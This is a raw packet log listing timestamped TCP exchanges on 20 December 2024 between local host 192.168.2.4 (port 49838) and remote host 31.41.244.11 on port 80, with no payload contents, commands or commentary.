Dec 20, 2024 04:12:36.571566105 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:36.571598053 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.571650028 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:36.572526932 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.572571039 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:36.572643042 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.572688103 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:36.573574066 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.573616982 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:36.573697090 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.573740005 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:36.574606895 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.574651003 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:36.574805021 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.574846029 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:36.575663090 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.575711012 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:36.575778961 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.575922012 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:36.576694965 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.576813936 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.576867104 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:36.577713013 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.577749968 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:36.577784061 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.577860117 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:36.578723907 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.578769922 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:36.578985929 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.579030037 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:36.579780102 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.579843998 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:36.579871893 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.579912901 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:36.580794096 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.580899954 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.580956936 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:36.581844091 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.581917048 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:36.582070112 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.582165956 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:36.582859993 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.582912922 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:36.582952023 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.582994938 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:36.583892107 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.583944082 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:36.584032059 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.584075928 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:36.584928036 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.584976912 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:36.585052967 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.585098028 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:36.586014032 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.586060047 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:36.586131096 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.586174011 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:36.586976051 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.587028027 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:36.587090969 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.587193012 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:36.588021994 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.588073015 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:36.588128090 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.588196993 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:36.589040995 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.589154005 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.589179039 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:36.589200020 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:36.590071917 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.590126991 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.590174913 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:36.591101885 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.591262102 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:36.591279984 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.591325045 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:36.592158079 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.592247009 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:36.592327118 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.592377901 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:36.593168974 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.593228102 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:36.593283892 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.593328953 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:36.594207048 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.594257116 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:36.594285965 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.594357014 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:36.595232010 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.595341921 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.595386028 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:36.595405102 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:36.596256971 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.596307039 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:36.596468925 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.596755028 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:36.597316980 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.597424030 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.597456932 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:36.597496986 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:36.598320007 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.598367929 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:36.598432064 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.598594904 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:36.599349022 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.599410057 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:36.599452972 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.599497080 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:36.600428104 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.600502014 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:36.600533009 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.600579023 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:36.601427078 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.601479053 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:36.601542950 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.601588964 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:36.602456093 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.602526903 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:36.602554083 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.602596998 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:36.603492022 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.603568077 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:36.603646994 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.603694916 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:36.604526043 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.604573965 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:36.604636908 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.604688883 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:36.605561018 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.605614901 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:36.605643988 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.605705023 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:36.606592894 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.606668949 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:36.606694937 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.606734037 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:36.607623100 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.607722044 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.607768059 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:36.608647108 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.608692884 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:36.608786106 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.608829021 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:36.609672070 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.609803915 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:36.609982014 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.610025883 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:36.610702991 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.610775948 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:36.610791922 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.610836029 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:36.611738920 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.611794949 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:36.611938000 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.611987114 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:36.750509024 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.750617981 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:36.750660896 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.750705004 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:36.750961065 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.751014948 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.751043081 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:36.751069069 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:36.752055883 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.752161980 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:36.752234936 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.752285004 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:36.753016949 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.753165960 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:36.753236055 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.753464937 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:36.754055023 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.754204988 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:36.754692078 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.754738092 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:36.755098104 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.755142927 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:36.755163908 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.755232096 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:36.756123066 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.756222963 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.756268024 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:36.757153034 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.757198095 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:36.757253885 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.757296085 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:36.758168936 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.758215904 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:36.758294106 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.758353949 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:36.759201050 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.759259939 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:36.759325981 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.759376049 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:36.760260105 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.760319948 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:36.760345936 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.760384083 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:36.761265039 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.761352062 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:36.761378050 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.761419058 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:36.762303114 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.762377024 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:36.762406111 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.762449026 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:36.763385057 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.763454914 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:36.763480902 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.763809919 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:36.764379978 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.764422894 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:36.764594078 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.764646053 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:36.765386105 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.765491009 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.765518904 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:36.765542030 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:36.766453981 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.766519070 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.766551971 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:36.766587019 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:36.767463923 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.767528057 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:36.767568111 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.767613888 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:36.768496990 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.768639088 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:36.768640041 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.768871069 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:36.769644022 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.769741058 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:36.769764900 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.769803047 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:36.770544052 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.770591974 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:36.770646095 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.770689011 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:36.771585941 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.771637917 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:36.771691084 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.771739006 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:36.772600889 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.772681952 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:36.772706032 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.772752047 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:36.773648024 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.773735046 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:36.773761034 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.773801088 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:36.774677038 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.774718046 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:36.774765968 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.774806976 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:36.775696039 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.775774002 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:36.775801897 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.775847912 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:36.776751995 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.776819944 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:36.776851892 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.777178049 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:36.777769089 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.777815104 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:36.777846098 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.777935028 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:36.778800011 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.778851032 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:36.778896093 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.778939009 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:36.779866934 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.779920101 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.779927969 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:36.779961109 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:36.780858040 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.780903101 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:36.780991077 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.781032085 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:36.781889915 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.781999111 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.782025099 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:36.782036066 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:36.782937050 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.782994032 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:36.783041954 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.783087015 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:36.783956051 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.784022093 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:36.784049988 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.784089088 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:36.784982920 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.785054922 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:36.785085917 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.785125971 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:36.786046982 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.786104918 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:36.786176920 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.786216974 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:36.787065983 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.787149906 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.787174940 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:36.787190914 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:36.788096905 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.788152933 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:36.788186073 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.788233995 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:36.789122105 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.789166927 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:36.789243937 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.789671898 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:36.790179014 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.790231943 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:36.790287971 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.790365934 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:36.791189909 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.791307926 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.791363001 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:36.792370081 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.792473078 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.792545080 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:36.793252945 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.793304920 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:36.793418884 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.793471098 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:36.794296026 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.794415951 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.794441938 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:36.794461012 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:36.795329094 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.795384884 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:36.795428038 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.795475006 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:36.796375990 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.796463013 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:36.796514988 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.796555042 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:36.797405005 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.797499895 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:36.797519922 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.797561884 CET	49838	80	192.168.2.4	31.41.244.11
